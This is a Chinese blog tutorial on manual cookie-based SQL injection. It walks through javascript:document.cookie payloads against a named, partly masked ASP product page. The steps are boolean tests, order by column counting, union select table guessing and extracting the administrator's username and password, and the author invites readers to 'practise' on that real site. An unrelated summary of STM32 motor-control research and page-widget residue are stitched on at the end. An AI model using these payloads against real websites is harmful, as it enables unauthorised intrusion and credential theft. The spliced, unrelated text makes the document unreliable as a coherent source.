cookie注入原理

cookie注入属于基础,站里没有专门将这个问题的,这次发这个文章上来

今天在旁注网站的过程中遇到了一个可以cookie注入的网站,加上我个人网站之前的文章貌似没有提及过cookie注入,所以今天拿一个实例网站来给大家说下手工进行cookie注入。

cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提 交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,getpost的不同之处就在于一个我们可以通过IE地址栏处看 到我们提交的参数,而另外一个却不能。

相对postget方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到 Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是程序对getpost方式提交的数据进行了过滤,但未对cookie 提交的数据库进行过滤。在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方 法进行获取。

下面还是具体拿个实例来给大家演示下,目标站:http://www.XXX.com /Products_show.asp?id=284 ,同时也是注入点。我们首先要检测下按照平时的方式注入,在网址后面加 and 1=1


可见是使用了防注入系统的,但是目前我们是使用get方式提交的参数,那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否 直接使用 request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:http://www.2cto.com /Products_show.asp?id=284,等页面完全打开之后,我们将IE地址栏清空,然后写 上:javascript:alert(document.cookie="id="+escape("284")); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”“escape("284")”中的“284”是 “Products_show.asp?id=284”中的“id=284”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出以下对话框:


现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:http://www.2cto.com /Products_show.asp? 既是将“id=284”去掉后的,然后看是否能正常访问。


可见访问之后的页面与访问http://www.2cto.com /Products_show.asp?id=284的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来 获取,而是直接使用request("xx")的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对 数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写 javascript:alert(document.cookie="id="+escape("284 and 1=1")); 回车后再去http://www.2cto.com /Products_show.asp?页面刷新,看页面是否正常,如果正常我们再提交 javascript:alert(document.cookie="id="+escape("284 and 1=2")); 然后再去刷新,这个时候就会看见出错了。


很明显就能看到错误了,而且产品内容也米有显示,到此便可以确定该页面能使用cookie注入了,接下来来的利用过程就和普通注入一样了。我们可以使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。

首先来使用order by 语句判断出当前执行数据库查 询的表的字段数,我们提交:javascript:alert(document.cookie="id="+escape("284 order by 1")); 然会正常,表示可以使用order by语句,如果错误的话可能是不能使用order by来猜解字段数了,拿就需要直接union select 一个一个的试了。然后提交:javascript:alert(document.cookie="id="+escape("284 order by 10")); 如果还返回正常就说明字段数在10以上,我们一次类推直到猜解出正确的字段数,比如这里我提交到了21的时候去刷新页面出现错误,然后提交20的时候去刷 新页面就正常了,就说明字段数是20.
接下来我们提交:

javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));

发现有错误,

我们再提交

javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

发现返回正常页面。


看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是 javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,数据库中不存在mange这个表,自然就出错了,使用更换from 处可以来猜解表明,那么现在我们在617的地方试试usernamepassword看看提交后是否出错,如果出错那么就表示不存在username 或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));


可见,原来显示617的地方现在爆出了管理员的账号和密码了,不过这个密码破不出来,大家可以自己拿网站去练练。总的说来cookie注入和普通注入是一样的,只不过是在提交注入语句的过程不一样而已。如果对普通注入的原理又说了解的话,那么cookie注入也就不难了



基于STM32 F4的永磁同步电机无位置传感器控制策略研究内容概要:本文围绕基于STM32 F4的永磁同步电机(PMSM)无位置传感器控制策略展开研究,重点探讨在不依赖物理位置传感器的情况下,如何通过算法实现对电机转子位置和速度的精确估计与控制。文中结合嵌入式开发平台STM32 F4,采用如滑模观测器、扩展卡尔曼滤波或高频注入法等先进观测技术,实现对电机反电动势或磁链的估算,进而完成无传感器矢量控制(FOC)。同时,研究涵盖系统建模、控制算法设计、仿真验证(可能使用Simulink)以及在STM32硬件平台上的代码实现与调试,旨在提高电机控制系统的可靠性、降低成本并增强环境适应性。; 适合人群:具备一定电力电子、自动控制理论基础和嵌入式开发经验的电气工程、自动化及相关专业的研究生、科研人员及从事电机驱动开发的工程师。; 使用场景及目标:①掌握永磁同步电机无位置传感器控制的核心原理与实现方法;②学习如何在STM32平台上进行电机控制算法的移植与优化;③为开发高性能、低成本的电机驱动系统提供技术参考与实践指导。; 阅读建议:建议读者结合文中提到的控制理论、仿真模型与实际代码实现进行系统学习,有条件者应在实验平台上进行验证,重点关注观测器设计、参数整定及系统稳定性分析等关键环节。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值